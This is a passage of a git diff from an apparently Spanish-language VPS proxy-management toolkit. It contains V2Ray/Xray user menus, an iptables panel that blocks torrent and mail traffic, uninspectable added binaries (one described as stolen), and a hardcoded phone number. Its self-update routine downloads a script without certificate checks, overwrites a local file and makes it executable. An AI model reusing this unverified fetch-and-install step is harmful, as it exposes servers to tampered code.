n++ + done + let opcion-- + addip=$(wget -qO- ifconfig.me) + host=$(cat $configt | jq -r .ssl.sni) + trojanport=$(cat $configt | jq -r .local_port) + UUID=$(cat $configt | jq -r .password[$opcion]) + Usr="$(cat ${user_conf}|grep -w "${UUID}"|cut -d'|' -f1)" + echo "USER ${Usr} : $UUID " + break + done +} + +view_user(){ +config="/etc/v2ray/config.json" +temp="/etc/v2ray/temp.json" +v2rdir="/etc/v2r" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/v2r/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/v2r/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO V2RAY REGISTRADO" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "Escoje Tu Usuario : " 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && break + let opcion-- + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uid=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + net=$(jq '.inbounds[].streamSettings.network' $config) + parche=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $path = null ]] && parche='' + v2port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + echo "Usuario $ps Seleccionado" + break + done +} + +_view_userXR(){ +config="/etc/xray/config.json" +temp="/etc/xray/temp.json" +v2rdir="/etc/xr" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/xr/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/xr/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO XRAY REGISTRADO" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "Escoje Tu Usuario : " 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && break + let opcion-- + psX=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $psX = null ]] && ps="default" + uidX=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiidX=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + addX=$(jq '.inbounds[].domain' $config) && [[ $addX = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + hostX=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $hostX = null ]] && hostX='' + netX=$(jq '.inbounds[].streamSettings.network' $config) + parcheX=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $pathX = null ]] && parcheX='' + v2portX=$(jq '.inbounds[].port' $config) + tlsX=$(jq '.inbounds[].streamSettings.security' $config) + [[ $netX = '"grpc"' ]] && pathX=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || pathX=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addipX=$(wget -qO- ifconfig.me) + echo "Usuario XRAY SERA $psX Seleccionado" + break + done +} + +[[ ! -d /root/.config/clash ]] && fun_insta || fun_ip +clear +[[ -e /root/name ]] && figlet -p -f slant < /root/name || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 â—„â—„<<===== \033[0m" +fileon=$(ls -la /var/www/html | grep "yaml" | wc -l) +filelo=$(ls -la /root/.config/clash | grep "yaml" | wc -l) +cd +msg -bar3 +echo -e "\033[1;37m ✬ Linux Dist: $(less /etc/issue.net)\033[0m" +msg -bar3 +echo -e "\033[1;37m ✬ Ficheros Online: $fileon ✬ Ficheros Locales: $filelo\033[0m" +msg -bar3 +echo -e "\033[1;37m - Menu Iterativo Clash for Android - ChumoGH \033[0m" +msg -bar3 +echo -e "\033[1;37mSeleccione : Para Salir Ctrl + C o 0 Para Regresar\033[1;33m" +unset yesno +echo -e " DESEAS CONTINUAR CON LA CARGA DE CONFIG CLASH?" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +unset yesno numwt +#[[ -e /root/name ]] && figlet -p -f slant < /root/name || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 â—„â—„<<===== \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m ✬ Ingresa tu Whatsapp junto a tu codigo de Pais" +read -p " Ejemplo: +593987072611 : " numwt +if [[ -z $numwt ]]; then +numwt='+593987072611' +fi +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m ✬ Ingresa Clase de Servidor ( Gratis - PREMIUM )" +read -p " Ejemplo: PREMIUM : " srvip +if [[ -z $srvip ]]; then +srvip="NewADM" +fi + while : + do + [[ -z ${opcion} ]] || break + clear + echo -e " ESCOJE TU METODO DE SELECCION " + echo -e " " + echo -e " SINO CONOCES DE ESTO, ESCOJE 2 " + echo -e " " + msg -bar + echo -e "1 - SELECTOR RULES" + echo -e "2 - SELECTOR GLOBAL" + msg -bar + echo -e " 0) CANCELAR" + msg -bar + read -p " ESCOJE : " opcion + case $opcion in + 1)configINIT_rule "$opcion" + break;; + 2)configINIT_global "$opcion" + break;; + 0) break;; + *) echo -e "\n selecione una opcion del 0 al 2" && sleep 0.3s;; + esac + done +INITClash +fi diff --git a/Recursos/backsocz.zip b/Recursos/backsocz.zip new file mode 100644 index 0000000..ed471d6 Binary files /dev/null and b/Recursos/backsocz.zip differ diff --git a/Recursos/binarios/Psiphond-Epro/psiphond b/Recursos/binarios/Psiphond-Epro/psiphond new file mode 100644 index 0000000..4d3d9c1 Binary files /dev/null and b/Recursos/binarios/Psiphond-Epro/psiphond differ diff --git a/Recursos/binarios/SlowDNS/autoStart-ARM b/Recursos/binarios/SlowDNS/autoStart-ARM new file mode 100644 index 0000000..785566e Binary files /dev/null and b/Recursos/binarios/SlowDNS/autoStart-ARM differ diff --git a/Recursos/binarios/SlowDNS/autoStart-x86-64 b/Recursos/binarios/SlowDNS/autoStart-x86-64 new file mode 100644 index 0000000..604d9a8 Binary files /dev/null and b/Recursos/binarios/SlowDNS/autoStart-x86-64 differ diff --git a/Recursos/binarios/SockWS/autoStart b/Recursos/binarios/SockWS/autoStart new file mode 100644 index 0000000..9c8bc56 Binary files /dev/null and b/Recursos/binarios/SockWS/autoStart differ diff --git a/Recursos/binarios/UDP/config.json b/Recursos/binarios/UDP/config.json new file mode 100644 index 0000000..85e78e8 --- /dev/null +++ b/Recursos/binarios/UDP/config.json @@ -0,0 +1,6 @@ +{ +"listen": ":36712", +"auth": { +"mode": "passwords" +} +} diff --git a/Recursos/binarios/UDP/udp-amd64.bin b/Recursos/binarios/UDP/udp-amd64.bin new file mode 100644 index 0000000..ddb9d00 Binary files /dev/null and b/Recursos/binarios/UDP/udp-amd64.bin differ diff --git a/Recursos/binarios/UDP/udp-arm64.bin b/Recursos/binarios/UDP/udp-arm64.bin new file mode 100644 index 0000000..5363aaf Binary files /dev/null and b/Recursos/binarios/UDP/udp-arm64.bin differ diff --git a/Recursos/binarios/ws-epro/readme.md b/Recursos/binarios/ws-epro/readme.md new file mode 100644 index 0000000..54fe315 --- /dev/null +++ b/Recursos/binarios/ws-epro/readme.md @@ -0,0 +1 @@ +# un ws-epro que me robé de lacasitamx10 para mi mod de lacasita🤣🤣🤣 diff --git a/Recursos/binarios/ws-epro/ws-epro b/Recursos/binarios/ws-epro/ws-epro new file mode 100644 index 0000000..6fb2044 Binary files /dev/null and b/Recursos/binarios/ws-epro/ws-epro differ diff --git a/Recursos/blockT.sh b/Recursos/blockT.sh new file mode 100644 index 0000000..e670017 --- /dev/null +++ b/Recursos/blockT.sh @@ -0,0 +1,531 @@ +#!/bin/bash +#19/12/19 +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/adm-lite" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/adm-lite" && [[ ! -d ${SCPinst} ]] && exit + +sh_ver="1.0.11" +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[Informacion]${Font_color_suffix}" +Error="${Red_font_prefix}[Error]${Font_color_suffix}" + +smtp_port="25,26,465,587" +pop3_port="109,110,995" +imap_port="143,218,220,993" +other_port="24,50,57,105,106,158,209,1109,24554,60177,60179" +bt_key_word="torrent +.torrent +peer_id= +announce +info_hash +get_peers +find_node +BitTorrent +announce_peer +BitTorrent protocol +announce.php?passkey= +magnet: +xunlei +sandai +Thunder +XLLiveUD" + +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_BT(){ + Cat_KEY_WORDS + BT_KEY_WORDS=$(echo -e "$Ban_KEY_WORDS_list"|grep "torrent") +} +check_SPAM(){ + Cat_PORT + SPAM_PORT=$(echo -e "$Ban_PORT_list"|grep "${smtp_port}") +} +Cat_PORT(){ + Ban_PORT_list=$(iptables -t filter -L OUTPUT -nvx --line-numbers|grep "REJECT"|awk '{print $13}') +} +Cat_KEY_WORDS(){ + Ban_KEY_WORDS_list="" + Ban_KEY_WORDS_v6_list="" + if [[ ! -z ${v6iptables} ]]; then + Ban_KEY_WORDS_v6_text=$(${v6iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP") + Ban_KEY_WORDS_v6_list=$(echo -e "${Ban_KEY_WORDS_v6_text}"|sed -r 's/.*\"(.+)\".*/\1/') + fi + Ban_KEY_WORDS_text=$(${v4iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP") + Ban_KEY_WORDS_list=$(echo -e "${Ban_KEY_WORDS_text}"|sed -r 's/.*\"(.+)\".*/\1/') +} +View_PORT(){ + Cat_PORT + echo -e "========${Red_background_prefix} Puerto Bloqueado Actualmente ${Font_color_suffix}=========" + echo -e "$Ban_PORT_list" && echo && echo -e "===============================================" +} +View_KEY_WORDS(){ + Cat_KEY_WORDS + echo -e "============${Red_background_prefix} Actualmente Prohibido ${Font_color_suffix}============" + echo -e "$Ban_KEY_WORDS_list" && echo -e "===============================================" +} +View_ALL(){ + echo + View_PORT + View_KEY_WORDS + echo + msg -bar2 +} +Save_iptables_v4_v6(){ + if [[ ${release} == "centos" ]]; then + if [[ ! -z "$v6iptables" ]]; then + service ip6tables save + chkconfig --level 2345 ip6tables on + fi + service iptables save + chkconfig --level 2345 iptables on + else + if [[ ! -z "$v6iptables" ]]; then + ip6tables-save > /etc/ip6tables.up.rules + echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules" > /etc/network/if-pre-up.d/iptables + else + echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules" > /etc/network/if-pre-up.d/iptables + fi + iptables-save > /etc/iptables.up.rules + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +Set_key_word() { $1 -t mangle -$3 OUTPUT -m string --string "$2" --algo bm --to 65535 -j DROP; } +Set_tcp_port() { + [[ "$1" = "$v4iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with icmp-port-unreachable + [[ "$1" = "$v6iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with tcp-reset +} +Set_udp_port() { $1 -t filter -$3 OUTPUT -p udp -m multiport --dports "$2" -j DROP; } +Set_SPAM_Code_v4(){ + for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port} + do + Set_tcp_port $v4iptables "$i" $s + Set_udp_port $v4iptables "$i" $s + done +} +Set_SPAM_Code_v4_v6(){ + for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port} + do + for j in $v4iptables $v6iptables + do + Set_tcp_port $j "$i" $s + Set_udp_port $j "$i" $s + done + done +} +Set_PORT(){ + if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then + Set_tcp_port $v4iptables $PORT $s + Set_udp_port $v4iptables $PORT $s + Set_tcp_port $v6iptables $PORT $s + Set_udp_port $v6iptables $PORT $s + elif [[ -n "$v4iptables" ]]; then + Set_tcp_port $v4iptables $PORT $s + Set_udp_port $v4iptables $PORT $s + fi + Save_iptables_v4_v6 +} +Set_KEY_WORDS(){ + key_word_num=$(echo -e "${key_word}"|wc -l) + for((integer = 1; integer <= ${key_word_num}; integer++)) + do + i=$(echo -e "${key_word}"|sed -n "${integer}p") + Set_key_word $v4iptables "$i" $s + [[ ! -z "$v6iptables" ]] && Set_key_word $v6iptables "$i" $s + done + Save_iptables_v4_v6 +} +Set_BT(){ + key_word=${bt_key_word} + Set_KEY_WORDS + Save_iptables_v4_v6 +} +Set_SPAM(){ + if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then + Set_SPAM_Code_v4_v6 + elif [[ -n "$v4iptables" ]]; then + Set_SPAM_Code_v4 + fi + Save_iptables_v4_v6 +} +Set_ALL(){ + Set_BT + Set_SPAM +} +Ban_BT(){ + check_BT + [[ ! -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent bloqueados y Palabras Claves, no es\nnecesario volver a prohibirlas !" && msg -bar2 && exit 0 + s="A" + Set_BT + View_ALL + echo -e "${Info} Torrent bloqueados y Palabras Claves !" + msg -bar2 +} +Ban_SPAM(){ + check_SPAM + [[ ! -z ${SPAM_PORT} ]] && echo -e "${Error} Se detectó un puerto SPAM bloqueado, no es\nnecesario volver a bloquear !" && msg -bar2 && exit 0 + s="A" + Set_SPAM + View_ALL + echo -e "${Info} Puertos SPAM Bloqueados !" + msg -bar2 +} +Ban_ALL(){ + check_BT + check_SPAM + s="A" + if [[ -z ${BT_KEY_WORDS} ]]; then + if [[ -z ${SPAM_PORT} ]]; then + Set_ALL + View_ALL + echo -e "${Info} Torrent bloqueados, Palabras Claves y Puertos SPAM !" + msg -bar2 + else + Set_BT + View_ALL + echo -e "${Info} Torrent bloqueados y Palabras Claves !" + fi + else + if [[ -z ${SPAM_PORT} ]]; then + Set_SPAM + View_ALL + echo -e "${Info} Puerto SPAM (spam) prohibido !" + else + echo -e "${Error} Torrent Bloqueados, Palabras Claves y Puertos SPAM,\nno es necesario volver a prohibir !" && msg -bar2 && exit 0 + fi + fi +} +UnBan_BT(){ + check_BT + [[ -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent y Palabras Claves no bloqueadas, verifique !"&& msg -bar2 && exit 0 + s="D" + Set_BT + View_ALL + echo -e "${Info} Torrent Desbloqueados y Palabras Claves !" + msg -bar2 +} +UnBan_SPAM(){ + check_SPAM + [[ -z ${SPAM_PORT} ]] && echo -e "${Error} Puerto SPAM no detectados, verifique !" && msg -bar2 && exit 0 + s="D" + Set_SPAM + View_ALL + echo -e "${Info} Puertos de SPAM Desbloqueados !" + msg -bar2 +} +UnBan_ALL(){ + check_BT + check_SPAM + s="D" + if [[ ! -z ${BT_KEY_WORDS} ]]; then + if [[ ! -z ${SPAM_PORT} ]]; then + Set_ALL + View_ALL + echo -e "${Info} Torrent, Palabras Claves y Puertos SPAM Desbloqueados !" + msg -bar2 + else + Set_BT + View_ALL + echo -e "${Info} Torrent, Palabras Claves Desbloqueados !" + msg -bar2 + fi + else + if [[ ! -z ${SPAM_PORT} ]]; then + Set_SPAM + View_ALL + echo -e "${Info} Puertos SPAM Desbloqueados !" + msg -bar2 + else + echo -e "${Error} No se detectan Torrent, Palabras Claves y Puertos SPAM Bloqueados, verifique !" && msg -bar2 && exit 0 + fi + fi +} +ENTER_Ban_KEY_WORDS_type(){ + Type=$1 + Type_1=$2 + if [[ $Type_1 != "ban_1" ]]; then + echo -e "Por favor seleccione un tipo de entrada: + + 1. Entrada manual (solo se admiten palabras clave únicas) + + 2. Lectura local de archivos (admite lectura por lotes de palabras clave, una palabra clave por línea) + + 3. Lectura de dirección de red (admite lectura por lotes de palabras clave, una palabra clave por línea)" && echo + read -e -p "(Por defecto: 1. Entrada manual):" key_word_type + fi + [[ -z "${key_word_type}" ]] && key_word_type="1" + if [[ ${key_word_type} == "1" ]]; then + if [[ $Type == "ban" ]]; then + ENTER_Ban_KEY_WORDS + else + ENTER_UnBan_KEY_WORDS + fi + elif [[ ${key_word_type} == "2" ]]; then + ENTER_Ban_KEY_WORDS_file + elif [[ ${key_word_type} == "3" ]]; then + ENTER_Ban_KEY_WORDS_url + else + if [[ $Type == "ban" ]]; then + ENTER_Ban_KEY_WORDS + else + ENTER_UnBan_KEY_WORDS + fi + fi +} +ENTER_Ban_PORT(){ + echo -e "Ingrese el puerto que Bloqueará:\n(segmento de Puerto único / Puerto múltiple / Puerto continuo)\n" + if [[ ${Ban_PORT_Type_1} != "1" ]]; then + echo -e " + ${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix} + + -Puerto único: 25 (puerto único) + + -Multipuerto: 25, 26, 465, 587 (varios puertos están separados por comas) + + -Segmento de puerto continuo: 25: 587 (todos los puertos entre 25-587)" && echo + fi + read -e -p "(Intro se cancela por defecto):" PORT + [[ -z "${PORT}" ]] && echo "Cancelado..." && View_ALL && exit 0 +} +ENTER_Ban_KEY_WORDS(){ + msg -bar2 + echo -e "Ingrese las palabras clave que se prohibirán\n(nombre de dominio, etc., solo admite una sola palabra clave)" + if [[ ${Type_1} != "ban_1" ]]; then + echo "" + echo -e "${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix} + + -Palabras clave: youtube, que prohíbe el acceso a cualquier nombre de dominio que contenga la palabra clave youtube. + + -Palabras clave: youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de nombre de pan-dominio) que contenga la palabra clave youtube.com. + + -Palabras clave: www.youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de subdominio) que contenga la palabra clave www.youtube.com. + + -Autoevaluación de más efectos (como la palabra clave .zip se puede usar para deshabilitar la descarga de cualquier archivo de sufijo .zip)." && echo + fi + read -e -p "(Intro se cancela por defecto):" key_word + [[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0 +} +ENTER_Ban_KEY_WORDS_file(){ + echo -e "Ingrese el archivo local de palabras clave que se prohibirá / desbloqueará (utilice la ruta absoluta)" && echo + read -e -p "(El valor predeterminado es leer key_word.txt en el mismo directorio que el script):" key_word + [[ -z "${key_word}" ]] && key_word="key_word.txt" + if [[ -e "${key_word}" ]]; then + key_word=$(cat "${key_word}") + [[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo está vacío. !" && View_ALL && exit 0 + else + echo -e "${Error} Archivo no encontrado ${key_word} !" && View_ALL && exit 0 + fi +} +ENTER_Ban_KEY_WORDS_url(){ + echo -e "Ingrese la dirección del archivo de red de palabras clave que se prohibirá / desbloqueará (por ejemplo, http: //xxx.xx/key_word.txt)" && echo + read -e -p "(Intro se cancela por defecto):" key_word + [[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0 + key_word=$(wget --no-check-certificate -t3 -T5 -qO- "${key_word}") + [[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo de red está vacío o se agotó el tiempo de acceso !" && View_ALL && exit 0 +} +ENTER_UnBan_KEY_WORDS(){ + View_KEY_WORDS + echo -e "Ingrese la palabra clave que desea desbloquear (ingrese la palabra clave completa y precisa de acuerdo con la lista anterior)" && echo + read -e -p "(Intro se cancela por defecto):" key_word + [[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0 +} +ENTER_UnBan_PORT(){ + echo -e "Ingrese el puerto que desea desempaquetar:\n(ingrese el puerto completo y preciso de acuerdo con la lista anterior, incluyendo comas, dos puntos)" && echo + read -e -p "(Intro se cancela por defecto):" PORT + [[ -z "${PORT}" ]] && echo "Cancelado ..." && View_ALL && exit 0 +} +Ban_PORT(){ + s="A" + ENTER_Ban_PORT + Set_PORT + echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n" + Ban_PORT_Type_1="1" + while true + do + ENTER_Ban_PORT + Set_PORT + echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n" + done + View_ALL +} +Ban_KEY_WORDS(){ + s="A" + ENTER_Ban_KEY_WORDS_type "ban" + Set_KEY_WORDS + echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n" + while true + do + ENTER_Ban_KEY_WORDS_type "ban" "ban_1" + Set_KEY_WORDS + echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n" + done + View_ALL +} +UnBan_PORT(){ + s="D" + View_PORT + [[ -z ${Ban_PORT_list} ]] && echo -e "${Error} Se detecta cualquier puerto no bloqueado !" && exit 0 + ENTER_UnBan_PORT + Set_PORT + echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n" + while true + do + View_PORT + [[ -z ${Ban_PORT_list} ]] && echo -e "${Error} No se detecta puertos bloqueados !" && msg -bar2 && exit 0 + ENTER_UnBan_PORT + Set_PORT + echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n" + done + View_ALL +} +UnBan_KEY_WORDS(){ + s="D" + Cat_KEY_WORDS + [[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && exit 0 + ENTER_Ban_KEY_WORDS_type "unban" + Set_KEY_WORDS + echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n" + while true + do + Cat_KEY_WORDS + [[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && msg -bar2 && exit 0 + ENTER_Ban_KEY_WORDS_type "unban" "ban_1" + Set_KEY_WORDS + echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n" + done + View_ALL +} +UnBan_KEY_WORDS_ALL(){ + Cat_KEY_WORDS + [[ -z ${Ban_KEY_WORDS_text} ]] && echo -e "${Error} No se detectó ninguna clave, verifique !" && msg -bar2 && exit 0 + if [[ ! -z "${v6iptables}" ]]; then + Ban_KEY_WORDS_v6_num=$(echo -e "${Ban_KEY_WORDS_v6_list}"|wc -l) + for((integer = 1; integer <= ${Ban_KEY_WORDS_v6_num}; integer++)) + do + ${v6iptables} -t mangle -D OUTPUT 1 + done + fi + Ban_KEY_WORDS_num=$(echo -e "${Ban_KEY_WORDS_list}"|wc -l) + for((integer = 1; integer <= ${Ban_KEY_WORDS_num}; integer++)) + do + ${v4iptables} -t mangle -D OUTPUT 1 + done + Save_iptables_v4_v6 + View_ALL + echo -e "${Info} Todas las palabras clave han sido desbloqueadas !" +} +check_iptables(){ + v4iptables=`iptables -V` + v6iptables=`ip6tables -V` + if [[ ! -z ${v4iptables} ]]; then + v4iptables="iptables" + if [[ ! -z ${v6iptables} ]]; then + v6iptables="ip6tables" + fi + else + echo -e "${Error} El firewall de iptables no está instalado ! +Por favor, instale el firewall de iptables: +CentOS Sistema: yum install iptables -y +Debian / Ubuntu Sistema: apt-get install iptables -y" + fi +} +Update_Shell(){ + sh_new_ver=$(wget --no-check-certificate -qO- -t1 -T3 "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/blockT.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) + [[ -z ${sh_new_ver} ]] && echo -e "${Error} No se puede vincular a Github !" && exit 0 + wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/blockT.sh -O /etc/ger-frm/blockBT.sh &> /dev/null + chmod +x /etc/ger-frm/blockBT.sh + echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ]" + msg -bar2 + exit 0 +} +check_sys +check_iptables +action=$1 +if [[ ! -z $action ]]; then + [[ $action = "banbt" ]] && Ban_BT && exit 0 + [[ $action = "banspam" ]] && Ban_SPAM && exit 0 + [[ $action = "banall" ]] && Ban_ALL && exit 0 + [[ $action = "unbanbt" ]] && UnBan_BT && exit 0 + [[ $action = "unbanspam" ]] && UnBan_SPAM && exit 0 + [[ $action = "unbanall" ]] && UnBan_ALL && exit 0 +fi +echo -e " Panel de Firewall ChumoGH By ADM 2021 ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}" +msg -bar2 +echo -e " ${Green_font_prefix}0.${Font_color_suffix} Ver la lista actual de prohibidos +———————————— + ${Green_font_prefix}1.${Font_color_suffix} Bloquear Torrent, Palabras Clave + ${Green_font_prefix}2.${Font_color_suffix} Bloquear Puertos SPAM + ${Green_font_prefix}3.${Font_color_suffix} Bloquear Torrent, Palabras Clave + Puertos SPAM + ${Green_font_prefix}4.${Font_color_suffix} Bloquear Puerto personalizado + ${Green_font_prefix}5.${Font_color_suffix} Bloquear Palabras Clave Personalizadas +———————————— + ${Green_font_prefix}6.${Font_color_suffix} Desbloquear Torrent, Palabras Clave + ${Green_font_prefix}7.${Font_color_suffix} Desbloquear Puertos SPAM + ${Green_font_prefix}8.${Font_color_suffix} Desbloquear Torrent, Palabras Clave , Puertos SPAM + ${Green_font_prefix}9.${Font_color_suffix} Desbloquear Puerto Personalizado + ${Green_font_prefix}10.${Font_color_suffix} Desbloquear Palabra Clave Personalizadas + ${Green_font_prefix}11.${Font_color_suffix} Desbloquear Todas las palabras Clave Personalizadas +———————————— + ${Green_font_prefix}12.${Font_color_suffix} Actualizar script" && msg -bar2 +read -e -p " Por favor ingrese un número [0-12]:" num && msg -bar2 +case "$num" in + 0) + View_ALL + ;; + 1) + Ban_BT + ;; + 2) + Ban_SPAM + ;; + 3) + Ban_ALL + ;; + 4) + Ban_PORT + ;; + 5) + Ban_KEY_WORDS + ;; + 6) + UnBan_BT + ;; + 7) + UnBan_SPAM + ;; + 8) + UnBan_ALL + ;; + 9) + UnBan_PORT + ;; + 10) + UnBan_KEY_WORDS + ;; + 11) + UnBan_KEY_WORDS_ALL + ;; + 12) + Update_Shell + ;; + *) + echo "Por favor ingrese el número correcto [0-12]" + ;; +esac diff --git a/Recursos/cabecalho/changelogs.fix b/Recursos/cabecalho/changelogs.fix new file mode 100644 index 0000000..120a136 --- /dev/null +++ b/Recursos/cabecalho/changelogs.fix @@ -0,0 +1,274 @@ +################################################################ + + Ultimos Cambios Version ADM V5.6a + + ● ------- ------- ------- ------- ------- ------- ------- + + ● ESTABILIZANDO FOR DESCONTINUAR ADM-LITE ( V5 ) + + ● Añadido autoreboot de protocolos + + ● reconstruido reiniciador de protocolos python,badvpn,slowdns + + ● fixeado socks python en el reactivador + + ● fixeado v2ray y xray en v5 + + ● añadido token nuevo de subdominios en certificado + + ● ------- ------- ------- ------- ------- ------- ------- + + Ultimos Cambios Version ADM V5.5 + + ● ------- ------- ------- ------- ------- ------- ------- + + ● ESTABILIZANDO FOR DESCONTINUAR ADM-LITE ( V-final ) + + ● FIXEADO PythonSocks Oficial + + ● RECONSTRUIDO LOG DE PUERTOS + + ● FIXEADO MENUS DE V2RAY + + ● CORREJIDO PROBLEMA DE KILLMULTILOGIN + + ● RESPUESTA DEL LIMITADOR AUMENTADA A 30 SEGUNDOS + + ULTIMOS CAMBIOS ChumoGH - ADM V5.4bt + ● ------- ------- ------- ------- ------- ------- ------- + + ● ESTABILIZANDO FOR DESCONTINUAR ADM-LITE ( V-final ) + + ● AÑADIDO FUNCION DE Socks Python ( BETA ) + + ● AÑADIDO STUNNEL4 Y STUNNEL5 + + ● RECONSTRUIDO Contador de Usuarios en cabecera + + ● COREJIDO ERROR V2RAY + + ● AÑADIDA FUNCION DE ENCENDIDO DE CONTROL DE CONSUMO Y TIEMPO + +################################################################ + + ULTIMOS CAMBIOS ChumoGH 